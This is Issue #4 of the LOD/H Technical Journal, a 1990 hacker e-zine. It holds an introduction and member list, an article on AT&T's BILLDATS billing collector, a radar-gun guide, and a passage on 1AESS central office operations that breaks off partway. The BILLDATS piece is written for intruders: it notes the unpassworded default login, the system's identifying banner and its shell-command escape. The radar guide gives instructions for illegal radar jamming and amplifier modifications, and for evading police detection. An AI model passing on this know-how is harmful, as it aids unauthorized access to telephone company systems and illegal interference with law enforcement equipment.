7471 lines
250 KiB
Plaintext
7471 lines
250 KiB
Plaintext
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The LOD/H Technical Journal, Issue #4: File 01 of 10
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Finally Released: May 20, 1990
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THE
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LOD/H TECHNICAL JOURNAL
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INTRODUCTION
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-------------
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||
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We are still alive. This publication is not released on any schedule. Past
|
||
attempts at scheduling issues have failed miserably. The editors refuse to
|
||
release issues which are not up to our self-defined standards. We have in the
|
||
past, and will continue in the future, to accept articles from anyone (e.g.
|
||
non LOD) as long as the articles adhere to our basic format and style. The
|
||
editors review all articles to verify accuracy and integrity however it may
|
||
not be possible in all cases to check every fact. Plagiarized material is not
|
||
acceptable and we make every attempt to verify an article's originality. When
|
||
referenced material is used, the source for that material must be clearly
|
||
stated. The more articles we receive the sooner each issue is released. There
|
||
is a minimum 2 month review and editing period for each article. If you want
|
||
to contribute articles contact any member and they will forward articles to
|
||
the editors.
|
||
|
||
There seems to be some confusion as to what writers are (or were) in LOD/H and
|
||
what ones aren't. JUST BECAUSE SOMEONE WRITES FOR THIS PUBLICATION DOES NOT
|
||
MEAN THEY ARE AN LOD/H MEMBER! Just to clear up any confusion, a current
|
||
member list follows:
|
||
|
||
Lord Havok
|
||
Lex Luthor
|
||
Prime Suspect
|
||
Phase Jitter
|
||
Professor Falken
|
||
Skinny Puppy
|
||
|
||
File 06: The History of LOD/H is a short article explaining the origin of the
|
||
group. We realize this is of interest to only a few, and most people probably
|
||
could care less. However, also included is a list of EVERY member who was ever
|
||
in the group. This is to clear up any and all misconceptions about members.
|
||
The press, telecommunications and computer security people, law enforcement,
|
||
and others can finally get their facts straight [See Issue #3, article 10,
|
||
Clearing up the mythical LOD/H Busts for a prime example, and also in the
|
||
Network News and Notes section -- first two articles regarding more so called
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||
'LOD BUSTS']. Another purpose is to thwart would-be group impostors. SYSOPS
|
||
who give system access to individuals solely because they are a member of some
|
||
respected group are urged to verify the hacker's identity as best they can. No
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||
one should be taken on their word alone.
|
||
|
||
This issue is dedicated to the three (now "retired") members who recently
|
||
received visits from our friends and yours, the U.S. Secret Service and
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||
Bell South Security: The Leftist, The Urvile, and The Prophet. Again, see
|
||
the Network News and Notes section for the stories.
|
||
Although the TJ is distributed to many boards, the inability for any decent
|
||
board to consistently remain online prevents us from utilizing "sponsor"
|
||
boards as distribution hubs. Therefore, the TJ will be distributed to whatever
|
||
boards are around at the time of release. Due to the lack of boards the
|
||
newsletter will be distributed in diskette form to those who can help in its
|
||
distribution.
|
||
|
||
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||
___________________________________________________________________________
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TABLE OF CONTENTS
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Name of article or file Author Size
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-----------------------------------------------------------------------------
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01 Introduction to the LOD/H Technical Journal Staff 04K
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and Table Of Contents for Issue #4
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02 The AT&T BILLDATS Collector System Rogue Fed 14K
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03 The RADAR Guidebook Professor Falken 17K
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04 Central Office Operations Agent Steal 32K
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05 A Hackers Guide to UUCP The Mentor 27K
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06 The History Of LOD/H Lex Luthor 12K
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07 The Trasher's Handbook to BMOSS Spherical Abberation 11K
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08 The LOD/H Telenet Directory Update #4 Part A Lord Havok 65K
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09 The LOD/H Telenet Directory Update #4 Part B Lord Havok 43K
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10 Network News and Notes Staff 38K
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Total: 7 Articles 10 Files 263K
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____________________________________________________________________________
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End Of Intro/TOC
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Issue #4
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The LOD/H Technical Journal, Issue #4: File 02 of 10
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The AT&T BILLDATS Collector
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Written by:
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Rogue Fed
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==============================================================================
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NOTES: This article will hopefully give you a better understanding of how
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the billing process occurs. BILLDATS is just one part of the billing picture.
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Before I began working for the government, I was a Telco employee and thus,
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the information within this article has been learned through experience.
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Unfortunately, I was only employed for a few months (including training on
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BILLDATS) and am still learning more about the many systems that a telco uses.
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There are however, a couple of lists that were compiled and slightly modified
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from what little reference material I could smuggle out and my notes from the
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training class. This article does require a cursory knowledge of telco and
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computer operations (ie. switching, SCCS, UNIX).
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INTRODUCTION -
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==============
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BILLDATS - BILLing DATa System
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BILLDATS can be explained in a nutshell by the acronym listed above. If it's
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one thing telecommunications providers do well, it's creating acronyms.
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Basically, BILLDATS collects billing information (that's why they call it a
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Collector) from AMATs (Automatic Message Accounting Transmitters). The AMATs
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are situated in or close to switching offices and are connected to BILLDATS
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either through dedicated or dial-up lines. BILLDATS can be considered as
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the "middleman" in the billing process. The system collects, validates, and
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adds identification information regarding origination and destination. This
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is then transferred to tape (or transmitted directly) to the RPC (Regional
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Processing Center) or the RAO (Revenue Accounting Office). The RPC/RAO
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actually processes the billing information. Typically the BILLDATS system is
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located in the same or adjoining building (but can be across town) to
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the RPC/RAO.
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BILLDATS is similar to many other phone company systems (ie. SCCS) as it uses
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a combination of software. The software base is UNIX and the BILLDATS Generic
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program runs on it. The hardware used is an AT&T 3B20 (this is what 5ESS
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switches use).
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Some of the more interesting features BILLDATS possesses are:
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* Can be accessed via dialup (always a plus).
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* Runs under UNIX (another plus).
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* Interface with SCCS (yet another plus).
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* Can store about 12 million calls for the first two disks and about
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8 million calls for each additional disk. A total of 6 (675 MB) disks
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can be used.
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* Inserts the sensor type and ID and recording office type and ID onto
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every AMA record that it collects.
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* Capable of collecting information from nearly 600 AMATs.
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To better understand how/why you get a bill after making long distance phone
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calls, I have delineated the steps involved.
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You call Hacker X and tell him all about the latest busts that have occurred,
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he exclaims "Oh Shit!" hangs up on you and throws all his hacking information
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into the fireplace. The actual call is referred to as a call event. As each
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event happens (upon termination of the call) the event is recorded by the
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switch. This information is then sent via an AMA Transmitter which formats the
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information and then sends it to BILLDATS (commonly called a "Host
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Collector"). BILLDATS then provides the information to the RAO/RPC. The
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billing computer is located at the RAO/RPC. Do not confuse the actual billing
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system with BILLDATS! The billing computer:
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* Contains customer records
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* Credit ratings (in some telcos)
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* Totals and prints the bill
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* Generates messages when customers do not pay (ie. last chance and
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temporary termination of service)
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When the billing period is over, (typically 25-30 days), many events (it
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depends on how many calls you have made) have accumulated. A bill is then
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generated and mailed to you.
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COLLECTION -
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============
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BILLDATS collects information in two ways:
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1. AMATs
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2. Users
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AMAT input
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----------
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BILLDATS collects data from the AMAT either directly from the switch, or from
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a front end which performs some processing on the data before giving it to
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BILLDATS. The data I am talking about here is usually AMA billing information.
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The information is in the usual AMA format (see Phantom Phreaker's article in
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the LOD/H Technical Journal, Issue #3 on AMA for formats and other info). As
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I said earlier, the recording office and sensor types and IDs have to be
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added by BILLDATS. The other information that is transmitted is usually
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maintenance data.
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The data that is transferred between BILLDATS and an AMAT is accomplished
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over either dedicated or dialup lines using the BX.25 protocol. This protocol
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has been adopted by the telecommunications industry as a whole. It is
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basically a modified version of X.25.
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User input
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----------
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This is simply sysadmin and sysop information.
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INSERTED INFORMATION -
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======================
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Once the information is collected, additional data (mentioned earlier)
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must be inserted. The information that BILLDATS inserts into the AMA records
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it receives depends on whether the AMAT is a single or multi-switch AMAT.
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Either way, the data is passed through the DEP. The DEP is a module which
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is part of the LHS (Link Handler Subsystem) that actually inserts the
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additional data. It also performs other functions which are rather
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uninteresting to the hacker. The LHS manages the x-mission of all the
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collected information. This is either through dedicated or dialup lines. The
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LHS is responsible for:
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* Logging of statistics as related to the performance of links.
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* Polling of remote switches for maintenance and billing information.
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* Passing information to the DEP in which additional information is
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inserted.
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* Storing billing information.
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* Other boring stuff.
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AMATS -
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=======
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Basically an AMAT is a front end to the switch. The AMAT:
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* Gets AMA information from the switch.
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* Formats and processes the information.
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* Transmits it to BILLDATS.
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* An AMAT can also store information for up to 1 week.
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The following is a list of switches and their related AMAT equipment that
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BILLDATS obtains billing information from:
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1A ESS: This is usually connected to a 3B APS (Attached Processor System) or
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BILLDATS AMAT.
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2ESS: This is connected to an IBM Series 1 AMAT.
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2BESS: Connected to a BILLDATS AMAT.
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4ESS: Connects to 3B APS.
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5ESS: Direct connection.
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TSPS 3B:Direct connection.
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DMS-10: Connects to IBM Series 1 AMAT.
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There are other AMATs/Switches but they must be compatible with the BILLDATS
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interface.
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ACCESSING BILLDATS -
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====================
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Even though a system is UNIX based, that doesn't mean that it is a piece of
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cake to get into. Surprisingly (when you think about the average Intelligence
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Quotient of telco personnel) but not surprisingly (when you consider that the
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information contained on the system is BILLING information--the life blood of
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the phone company) BILLDATS is a little more secure than your average telco
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system, except for the fact the all login IDs are 5 lower case characters or
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less. BILLDATS can usually be identified by:
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bcxxxx 3bunix SV_R2+
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where:
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bc = B(ILLDATS) C(ollector).
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xxxx = The node suffix. This is entered when the current Generic is installed.
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3bunix = This simply indicates that UNIX is running on an AT&T 3Bxx system.
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SV_R2+ = Software Version.
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The good news is that there is a default username when the system is
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installed. The bad news is that upon logon, the system forces you to choose a
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password. The default username is not passworded initially. The added security
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feature is simply that the system forces all usernames to have passwords. If
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it doesn't have an associated password, the system will give you the message:
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"Your password has expired. Choose a new one"
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A 6-8 character password must then be entered. After this you will be asked
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to enter the terminal type. The ones provided are AT&T terminals (615, 4425,
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and 5420 models). Once entered a welcome message will probably be displayed:
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"Welcome to the South Western Bell BILLDATS Collector"
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"Generic 3, Issue 1"
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"Tuesday 01 Aug 1989 12:44:44 PM"
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dallas>
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The BILLDATS prompt was displayed "dallas>" where dallas is the node name.
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There are 3 privilege levels within BILLDATS:
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1. Administrator
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2. Operator
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3. UUCP
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* Administrator privs are basically root privs.
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* An account with Operator privs can still do about anything an Admin can do
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except make data base changes.
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* UUCP privs are the lowest and allow file transfer.
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Commands
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--------
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Just like SCCS, UNIX commands can be entered while using BILLDATS. The format
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is:
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dallas>run-unx:$unix cmd;
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All unix commands must be preceded by "run-unx:" and end with a semicolon ";".
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The semicolon is the command terminator character (just like Carriage Return).
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BILLDATS isn't exactly user friendly, but it does have on-line help. There are
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a number of ways that it can be obtained:
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dallas> help-?; or help-??; or ?-help; or ??-help;
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If you want specific help:
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dallas> help-(command name);
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I can list commands forever, but between UNIX (commands every hacker should
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be familiar with) and help (any moron can use it), you can figure out which
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ones are important.
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Error Messages
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--------------
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Just like SCCS, BILLDATS has some rather cryptic error messages. There are
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thousands of error messages, once you know a little about the format they
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are easier to understand. When a mistake is made, something similar to
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the following will appear:
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UI0029 (attempted command) is not a valid input string.
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^ ^- error message information
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|
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|-- This is the subsystem and error message number
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The following is a brief description of subsystem abbreviations:
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BD: BILLDATS system utilities. Errors associated with the use of utility
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programs will be displayed.
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DB: Data Base manager. These messages are generated when accessing or
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attempting to access the various Data Bases (explained later) within
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BILLDATS.
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DM: Disk Manager. Basically, information pertaining to the system disk(s).
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EA: Error and Alarm. As the name implies, system errors and alarms.
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LH: Link Handler. Messages related to data link activity, either between
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BILLDATS and the AMAT or BILLDATS and the RAO/RPC.
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SC: Scheduler. The scheduler is BILLDATS' version of the UNIX cron daemon.
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BILLDATS uses cron to schedule things like when to access remote systems.
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TW: Tape Writer. Messages related to storing billing information on tapes
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which will then be transported to the RAO/RPC.
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UI: User Interface. This was used in the above example. Displays syntax,
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range or status errors when entering commands.
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DL: Direct Link. Instead of BILLDATS information being written to tape, a
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direct link to the RPC/RAO mainframe (the actual billing system computer)
|
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can be accomplished. This is usually done when BILLDATS is located far
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away from the RPC/RAO office as there is always some risk involved in
|
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transporting tapes, and that risk increases the farther away the two
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offices are. Another neat thing about Direct Link is that the billing data
|
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can be sent across a LAN (Local Area Network) also. Obviously this incurs
|
||
some concerns regarding security, but from what I have heard and seen,
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AT&T and the BOC's typically choose to ignore the security of their
|
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systems which suits me just fine. The Direct Link is an optional BILLDATS
|
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feature and if it is in use, messages related to its operation are
|
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displayed with the DL prefix.
|
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BILLDATS DATA BASES -
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=====================
|
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The databases contain all kinds of useful information such as usernames,
|
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switch types, scheduled polling times, etc.
|
||
|
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The AMAT Data Base contains:
|
||
|
||
* Type of switch
|
||
* Sensor type and identification
|
||
* AMAT phone number
|
||
* Channel and port number/group
|
||
* Other boring information
|
||
|
||
The Port Data Base contains:
|
||
|
||
* Communications information (like L-Dialers on UNIX Sys. V)
|
||
* Channel and port information
|
||
* Other boring information
|
||
|
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The Collector Data Base contains:
|
||
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||
* Collector office ID
|
||
* Version number of the Data Base
|
||
* Number and speed of any remote terminals
|
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* When reports are scheduled for output
|
||
* Other boring information
|
||
|
||
|
||
CONCLUSION -
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||
============
|
||
|
||
If you are not technically oriented, I hope this article helped you understand
|
||
how you get your bill. I assumed that you would skip over the commands for
|
||
using BILLDATS and similar information.
|
||
|
||
If you are technically oriented, I hope I not only helped you understand more
|
||
about the billing process, but also increased your awareness of how detailed
|
||
the whole process is. And if you do happen to stumble onto a BILLDATS system,
|
||
you have been pointed in the right direction as far as using it correctly is
|
||
concerned.
|
||
|
||
I tried to leave out all the boring details, but some may have slipped by me.
|
||
I reserved the right to omit specific details and instructions regarding any
|
||
alteration or deletion of calls/charges for my own use/abuse.
|
||
|
||
The Rogue Federal Agent
|
||
|
||
|
||
[ End Of Article ]
|
||
|
||
The LOD/H Technical Journal, Issue #4: File 03 of 10
|
||
|
||
|
||
The Radar Guidebook
|
||
by
|
||
Professor Falken
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Anyone who has driven a car without a radar detector before, has gotten
|
||
that paranoid feeling that the cops are around radaring. This feeling is not
|
||
a nice one; it is the feeling that somewhere somehow someone is watching you.
|
||
In this article I will attempt to explain how radar guns work, what bands
|
||
the guns work on, why they are wrong 70% of the time, how to employ stealth
|
||
technology in defeating the radar, and last but not least jamming the radar.
|
||
|
||
RADAR stands for RAdio Detecting And Ranging. A speed-radar gun works
|
||
under the Doppler theory. This theory is that when a signal is reflected off
|
||
an object moving toward you, the signal will be at a higher frequency than the
|
||
initial frequency, this increase in frequency is used to calculate speed.
|
||
Many of you have experienced the Doppler effect, which occurs when a noise
|
||
from a siren increases in strength (gets louder) as it approaches and
|
||
decreases in strength (gets softer) as it moves away from you.
|
||
|
||
Right now in the United States, there are three bands that are Federal
|
||
Communication Commission (FCC) certified for "field disturbance sensors",
|
||
known to you and me as radar guns. These bands have proper non-technical
|
||
names, and all operate in the GigaHertz range. GigaHertz is a measure of
|
||
frequency; one GHz equals one billion cycles per second. Most frequency
|
||
modulation (FM) radio broadcasts are made in the 0.088 GHz to 0.108 GHz band,
|
||
in MegaHertz that is 88 MHz to 108 MHz. The three proper names for these
|
||
radar bands are: X, K, and Ka.
|
||
|
||
One of the older radar bands is the X band. X band radar is the most
|
||
commonly used radar band in the United States. X band radar transmits its
|
||
signal at 10.5250 GHz. The wattage of the radar's signal really depends upon
|
||
the gun manufacturer. However, most manufacturers agree that a 100 milliwatt
|
||
signal is "High-Power" and the 40 milliwatt range is "Low Power". The gun's
|
||
range also depends upon the manufacturer. The average maximum range of a X
|
||
band gun is 2500 feet. That estimate is based on the assumption that the gun
|
||
is operating at full-strength (100mw). Most radar detectors give off a
|
||
false signals on this band due to ultrasonic motion detectors employed
|
||
by various burglar alarm systems. Large grocery stores also use these to
|
||
open the doors magically as you walk in or out.
|
||
|
||
Another older band is K band. K band operates on 24.150 GHz and is not as
|
||
popular as X band, but it is gaining in usage throughout the country. The
|
||
normal signal strength of K band guns again depends upon the manufacturer,
|
||
but the ones I've seen all operate at 100 milliwatts at high-power. These
|
||
guns have a maximum range of 3000 feet, assuming they are at 100mw signal
|
||
strength.
|
||
|
||
A new type of radar has been introduced and assigned a frequency by the
|
||
Federal Communications Commission. This new band has been assigned the name
|
||
Ka and has been designated a frequency of 34.360 GHz. Current Ka technology
|
||
gives the gun a maximum effective range of 40 to 200 feet. This band
|
||
was originally made for use with photo-radar. The photo-radar can be set up
|
||
on a tripod on the side of the road or in the back of a police car. The
|
||
user then triggers a button when he wants a car in the guns range
|
||
clocked, automatically taking a picture of the car & license plate.
|
||
At the time the photograph is taken a date and time is imprinted on the
|
||
picture. The police keep one duplicate for archival purposes and sends the
|
||
other to the registered owner of the car along with ticket information and the
|
||
amount due. This type of system can only work in places that hold the owner
|
||
of a vehicle responsible for any violations that occur with the car. The
|
||
legal barriers for photo radar to overcome are extensive, most notably, not
|
||
giving the vehicle owner due process and the presumption of guilt. There is
|
||
a system out now for $19.95 that defeats Ka band photo radar. I expect it to
|
||
be illegal VERY QUICKLY once Ka is more widely used. This little baby slips
|
||
over your license plate and acts as venetian blinds. When looking straight at
|
||
the plate it looks like a normal plate with a black frame. However when
|
||
looking at it from a Ka band Photo Radar's angle it looks like a license plate
|
||
with a silver streak covering the whole plate, making it impossible to
|
||
identify. This device is called the Photobuster and is available from
|
||
most radar detector specialty stores.
|
||
|
||
There are two different types of radar guns. They are Instant-On/Pulse and
|
||
Constant Broadcasting Radar. The names are self-explanatory, but I will
|
||
explain them anyway. The constant broadcast radar continually transmits
|
||
its radar signal, and anything in its path will be clocked. Instant-On &
|
||
Pulse radars are basically identical, and are both very deadly since they are
|
||
harder to detect as a threat. The Instant-On gun is really nothing more than
|
||
an ON/OFF switch for signal transmission. In order to have a pulse gun, all
|
||
a cop has to do is purchase one with a "HOLD" feature or just turn the gun
|
||
on when he/she wishes to use it. The "HOLD" feature is simply a button that
|
||
keeps the gun on but makes sure no signal is being transmitted. No one can
|
||
detect a gun that is off or in "HOLD" mode. An officer using an Instant-On
|
||
radar gun will periodically check the speed of the traffic. These samplings
|
||
can easily be detected and will give the user of a detector prior warning to
|
||
a Instant On/Pulse activated radar gun.
|
||
|
||
Many detectors on the market today provide anti-falsing circuitry. Falsing
|
||
is the triggering of the radar detector from something other than a radar gun.
|
||
|
||
One or two detector manufactures make their detectors with GaAs diodes.
|
||
GaAs diodes are Gallium Arsenide diodes which are a military grade electrical
|
||
component that helps produce a good signal-to-noise ratio.
|
||
|
||
All new model radar detectors use Superheterodyne technology.
|
||
Superheterodyne, also known as active technology, amplifies all incoming
|
||
signals hundreds of times, which makes it more sensitive and selective as to
|
||
which signals will trigger an alert. Superheterodyne technology also gives
|
||
out a minute internal radar signal of its own, which can be picked up by older
|
||
(Pre/Early 1980's) non-anti-falsing radar detectors. If you have a newer
|
||
model radar detector, this small internally generated signal is no problem to
|
||
your's or anyone's anti-falsing radar detecting unit. NOTE: In states
|
||
where radar detectors are illegal (Ex. Virginia, Canada) the police have
|
||
devices which detect this Superheterodyne signal. Police can then stop
|
||
you and confiscate your detector. Getting around this police tactic
|
||
would be to use an early radar detector without Heterodyne/Superheterodyne
|
||
detection technology.
|
||
|
||
Many compact/shirt pocket radar units are "exclusively made with SMD's".
|
||
These SMD's are Surface Mounted Devices and contain extremely small resistors,
|
||
transistors, diodes, and capacitors. Just because a manufacturer uses SMD's,
|
||
that does NOT make the unit any better than a larger detector of the same age.
|
||
|
||
Cincinnati Microwave Inc., the makers of Escort and Passport say they have
|
||
the exclusive technology for the detection and anti-falsing of RASHID VRSS
|
||
technology. RASHID VRSS is actually the Rashid Radar Safety Brake Collision
|
||
Warning System. It is an electronic device that operates on K band
|
||
frequencies and warns heavy trucks and ambulances of hazards in their path.
|
||
About 900 RASHID VRSS units have been prototyped in three states. Since the
|
||
number of actual operating RASHID units is so minute, I really doubt you will
|
||
run into one.
|
||
|
||
There are two ways a radar gun can produce an incorrect speed reading.
|
||
These are known as the Cosine Error and Moving Radar Error. The Cosine Error
|
||
occurs when a radar gun gives a lower reading than the actual speed of the
|
||
target. This occurs because the gun can only measure the doppler shift that
|
||
occurs directly towards or away from the antenna. If the object moves at an
|
||
angle to the gun, the shift will be lower than if it moves directly at the
|
||
antenna. Therefore the reading the radar gun gives will be less than the
|
||
actual speed of the object. The radar reading can be calculated by taking
|
||
the Actual Speed times the cosine of the incidence angle. So if the target
|
||
car's actual speed is 50 miles per hour and it is 37 degrees off of the
|
||
mainline radar signal, the radar speed will be 40 miles per hour. Look:
|
||
|
||
Cosine Error Theory:
|
||
Actual Speed x Cosine of Incidence Angle = Radar's Shown Speed
|
||
|
||
Cosine of 37 degrees is 0.80
|
||
50 MPH x 0.80 = 40 MPH
|
||
|
||
So if you see a radar enabled cop coming head-on towards you it would be a
|
||
good idea to get into the right hand lane, or further if possible, as this
|
||
increases the angle and thus lowers your radar speed. The other error is the
|
||
Moving Radar Error, which occurs only when a police car is using a moving
|
||
radar gun. A false reading is obtained by the unit because before it
|
||
can radar you it must radar something along side the road to get the patrol
|
||
car's speed. Most often, billboards and parked cars are used for this initial
|
||
patrol car speed calibration. It is susceptible to errors because of the
|
||
Cosine Error, mentioned above. Once the patrol car has its speed (wrong or
|
||
not), it assumes that the target's (YOU) speed is the difference between the
|
||
highest oncoming signal and the patrol speed; but if the patrol speed is lower
|
||
it will ADD that error on to the target speed. So the target speed (YOU) will
|
||
read higher than you were actually traveling. Here's the theory and a
|
||
problem:
|
||
|
||
Moving Radar Theory:
|
||
Closing Speed - Patrol Speed = Target Speed
|
||
|
||
The ACTUAL speeds for these are:
|
||
Patrol Car Speed - 60 MPH
|
||
Target Car Speed - 60 MPH
|
||
Closing Speed - 120 MPH
|
||
|
||
Due to the Cosine Error the TARGET CAR's speed will cause the gun to
|
||
calculate a LOW reading for the actual patrol car's speed due to the cosine
|
||
error.
|
||
|
||
The RADAR calculated speeds are:
|
||
Patrol Car Speed - 50 MPH
|
||
Target Car Speed - 70 MPH
|
||
Closing Speed - 120 MPH
|
||
|
||
Thus you can see how the police car is going to get an incorrect reading.
|
||
This is a good one to memorize and bring into court for any tickets.
|
||
|
||
It's been recently brought to my attention that there are stealth-bras for
|
||
cars. From what I understand, the bras actually absorb the radar, and reflect
|
||
such a weakened signal that the radar gun cannot detect it. I have not seen
|
||
one of these in person, but from what I have heard they are made out of a VERY
|
||
DENSE rubber/metal composite. The bra probably traps the signal very much
|
||
like the F-117/B-2 stealth aircraft do. The material is probably made up of
|
||
hexagonal shaped cells, the back of the cell being at a slight angle, so that
|
||
any signal coming into the cell will have to bounce around within the cell
|
||
before exiting it. The inside of each cell is filled with a radar absorbing
|
||
material. As the signal hits the back of the hexagonal cell it is bounced
|
||
around inside the cell through the absorbing material, weakening the signal
|
||
each time it does so. Upon leaving the cell, the signal is so weak the
|
||
radar's receiver may not pick up the signal until the target is near enough
|
||
to give a positive return on the radar screen. When the aircraft is getting
|
||
closer, within radar range, the signal reflected may be so small the radar's
|
||
controller may think he is picking up ground interference, a flock of birds
|
||
or possibly bad weather. The actual radar absorbing material is classified at
|
||
this time by the government. The actual composite on the car bra is certainly
|
||
not as good as the actual radar absorption material of the aircraft, but I'm
|
||
sure it is somewhat similar.
|
||
|
||
Radar jamming is done very much the way any other type of radio jamming is
|
||
done. You simply overpower the frequency being used with a frequency of your
|
||
own. Radar jamming/overpowering is ILLEGAL in the United States. To jam a
|
||
signal all you need is a transmitter, an amplifier and an antenna. To jam a
|
||
gun using a K band radar (24.150 GHz) all you do is get a transmitter that can
|
||
transmit in the 20 GHz range and a 10-100 watt amplifier and antenna. Send
|
||
out a signal at around 24.05 GHz. This signal will make the cop's radar
|
||
either show a 0 or an incredibly slow speed such as -520. Usually the
|
||
cop's radar cannot show a negative sign, so it will just be 520. This
|
||
10-100 watt signal that you are transmitting will overpower the signal
|
||
his/her radar sent out and is waiting to receive. His/her gun is only at
|
||
100 milliwatts, and you're transmitting at 10-100 watts; its like using a
|
||
12-gauge shotgun against a rodent.
|
||
|
||
Where can you get microwave transmission equipment? You can check local
|
||
electronic shops, satellite stores, Cable TV companies and local television
|
||
stations as to where they buy their microwave transmission gear. Or you can
|
||
buy a radar gun of your own, and leave it ON whenever your driving. This will
|
||
give the cop's gun a very strange reading, most likely zero. If it is
|
||
possible, once you have the gun bring it to a "corrupt" electronics shop and
|
||
have it modified for high powered transmission, preferably in the 10 to 100
|
||
watt range.
|
||
|
||
Some radar guns have resistors implemented just before the antenna, but
|
||
just after the amplifier for de-amplification of the transmitter's signal.
|
||
This means that most guns already have a good (1 watt or so) transmit
|
||
capacity, but it is suppressed to bring the actual transmit signal to the
|
||
100mw area. The owner of the gun only has to know which resistors to take
|
||
out, then he/she will have a functional high powered gun. If this small
|
||
wattage does not satisfy you, you may have to purchase a separate amplifier
|
||
for the gun, and have it wired directly into the radar's transmitter antenna.
|
||
This modification is expensive not to mention illegal, but then again what the
|
||
hell isn't these days. I have seen six different types of guns offered from
|
||
National Radar Exchange. The following are a few major radar gun
|
||
manufacturers that are sold out of most radar shops. They are:
|
||
|
||
KUSTOM SIGNAL:
|
||
Kustom Signal HR-12 K Band 100mw signal 2000-3000 foot maximum range $695.00
|
||
Kustom Signal HR-8 K Band 100mw signal 1800-3000 foot maximum range $495.00
|
||
|
||
CMI INC.:
|
||
Speedgun One X Band 100mw signal 1000-2500 foot maximum range $395.00
|
||
Speedgun Six X Band 100mw signal 1000-2500 foot maximum range $495.00
|
||
(Since these units are the same, the only differences are things like
|
||
last speed reading recall, 10 number memory, etc.)
|
||
|
||
MPH INC.:
|
||
|
||
MPH K-55 X Band 40mw signal 1200-2500 foot maximum range $495.00
|
||
(Can clock target in 1/2 second, which is exceptionally fast for radar guns)
|
||
|
||
The only differences between the models are their bands and their options,
|
||
such as a "HOLD" button, last speed recorded etc.
|
||
|
||
I have found these to be some of the top units in the radar detector world
|
||
currently and are listed as follows:
|
||
|
||
MOST SENSITIVE MOST FEATURES BEST LOOKING MOST RELIABLE SMALLEST
|
||
-------------- ------------- ------------ ------------- -------------
|
||
COBRA 4120 COBRA 4120 Whistler 3SE ESCORT Uniden RD-9XL
|
||
BEL 944 COBRA 3160 BELL 944 K40 Whistler 3SE
|
||
Snooper 6000 BELL 944 Uniden RD-9XL
|
||
|
||
BEST VALUE LOUDEST BEST FILTERED
|
||
------------ -------------- ------------------
|
||
Snooper 4000 COBRA 5110 Snooper 6000
|
||
Cobra 5110 COBRA 3120 Other Snoopers
|
||
Cobra 3168 Whistler Q2002
|
||
Maxon RD25
|
||
|
||
I did not get to see Cincinnati Microwave's new "SOLO", nor BEL's
|
||
"Vector 3", "Express", nor it's newer "Legend 3."
|
||
|
||
Just because a detector is the MOST sensitive doesn't mean it is the best
|
||
detector. Because of the sensitivity you could pick up more alarms. What
|
||
you want is a detector with excellent sensitivity, but good anti-falsing
|
||
circuitry.
|
||
|
||
I hope this article has given you some insight on how radars work and
|
||
how their tickets CAN be defeated. Keep safe and sane,
|
||
|
||
Professor Falken
|
||
Legion Of Doom
|
||
|
||
|
||
<EOF>
|
||
The LOD/H Technical Journal, Issue #4: File 04 of 10
|
||
|
||
|
||
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
|
||
$ $
|
||
$ Central Office Operations $
|
||
$ Western Electric 1ESS,1AESS, $
|
||
$ The end office network environment $
|
||
$ $
|
||
$ Written by Agent Steal 1989 $
|
||
$ $
|
||
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
|
||
|
||
|
||
Topics covered in this article will be:
|
||
|
||
Call tracing
|
||
RCMAC
|
||
Input/output messages
|
||
SCC and SCCS
|
||
COSMOS and LMOS
|
||
BLV, (REMOB) and "No test trunks"
|
||
Recent change messages
|
||
Equal Access
|
||
|
||
Did I get your attention? Good, everyone should read this. With the time,
|
||
effort, and balls it has taken me compile this knowledge it is certainly worth
|
||
your time. I hope you appreciate me taking the time to write this.
|
||
|
||
I should point out that the information in this article is correct to the
|
||
best of my knowledge. I'm sure there are going to be people that disagree
|
||
with me on some of it, particularly the references to tracing. However, I
|
||
have been involved in telecommunications and computers for 12+ years.
|
||
|
||
I'm basing this article around the 1AESS since it is the most common
|
||
switch in use today.
|
||
|
||
|
||
** OUTSIDE PLANT **
|
||
|
||
This is the wiring between your telephone and the central office. That is
|
||
another topic in itself. If you are interested read Phucked Agent 04's article
|
||
on The Outside Loop Distribution Plant (OLDP) in the LOD/H Technical Journal,
|
||
Issue #1. The article explains those green boxes you see on street corners,
|
||
aerial cables, manholes etc. So where that article stops, this one starts.
|
||
|
||
|
||
** CABLE VAULT **
|
||
|
||
All of the cables from other offices and from subscribers enter the
|
||
central office underground. They enter into a room called the cable vault.
|
||
This is a room generally in the basement located at one end or another of the
|
||
building. The width of the room varies but runs the entire length of the
|
||
building. Outside cables appear through holes in the wall. The cables then run
|
||
up through holes in the ceiling to the frame room.
|
||
|
||
Understand that each of these cables consist of an average of 3600 pairs
|
||
of wires. That's 3600 telephone lines. The amount of cables obviously depends
|
||
on the size of the office. All cables (e.g. interoffice, local lines, fiber
|
||
optic, coaxial) enter through the cable vault.
|
||
|
||
|
||
** FRAME ROOM **
|
||
|
||
The frame is where the cable separates into individual pairs and attach
|
||
to connectors. The frame runs the length of the building, from floor to
|
||
ceiling. There are two sides to the frame, the horizontal side and the
|
||
vertical side. The vertical side is where the outside wiring attaches and the
|
||
protector fuses reside. The horizontal side is where the connectors to the
|
||
switching system reside. Multi-conductor cables run from the connectors to
|
||
actual switching equipment. So what we have is a large frame called the Main
|
||
Distribution Frame (MDF) running the entire length of the building. From floor
|
||
to ceiling it is 5 feet thick. The MDF consists of two sides, the VDF and the
|
||
HDF. Cables from outside connect on one side and cables from the switching
|
||
equipment connect to the other side and jumper wires connect the two. This way
|
||
any piece of equipment can be connected to any incoming "cable pair". These
|
||
jumper wires are simply 2 conductor twisted pair, running between the VDF and
|
||
the HDF.
|
||
|
||
What does all this mean? Well if you had access to COSMOS you would see
|
||
information regarding cable and pair and "OE" (Office Equipment). With this
|
||
information you could find your line on the frame and on the switch. The VDF
|
||
side is clearly marked by cable and pair at the top of the frame, however the
|
||
HDF side is a little more complicated and varies in format from frame to frame
|
||
and from switch to switch. Since I am writing this article around the 1AESS,
|
||
I will describe the OE format used for that switch.
|
||
|
||
OE ABB-CDD-EFF
|
||
|
||
Where..
|
||
|
||
A = Control Group (when more than one switch exists in that C.O.)
|
||
B = LN Line Link Network
|
||
C = LS Line Switching Frame
|
||
D = CONC or CONCentrator
|
||
E = Switch (individual, not the big one)
|
||
F = Level
|
||
|
||
There is one more frame designation called LOC or LOCation. This gives the
|
||
location of the connector block on the HDF side. Very simply, looking at the
|
||
frame:
|
||
|
||
|
||
